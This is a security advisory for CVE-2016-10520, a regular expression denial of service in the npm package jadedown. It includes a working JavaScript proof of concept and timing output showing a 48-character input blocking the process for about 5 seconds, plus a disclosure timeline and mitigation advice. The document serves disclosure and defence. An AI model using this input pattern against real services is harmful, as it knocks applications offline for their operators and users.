GHSA-6354-6mhv-mvv5

Suggest an improvement
Source
https://github.com/advisories/GHSA-6354-6mhv-mvv5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-6354-6mhv-mvv5/GHSA-6354-6mhv-mvv5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-6354-6mhv-mvv5
Aliases
  • CVE-2016-10520
Published
2019-02-18T23:38:38Z
Modified
2023-11-08T03:58:10.234178Z
Summary
Regular Expression Denial of Service in jadedown
Details

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

  • October 24, 2015 - Vulnerability Identified
  • October 24, 2015 - Maintainers Notified
  • October 25, 2015 - Response from Maintainers with intent to fix
  • January 5, 2016 - Advisory Published
  • January 11, 2016 - CVE Requested

Recommendation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

References

Affected packages

npm / jadedown

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.0.3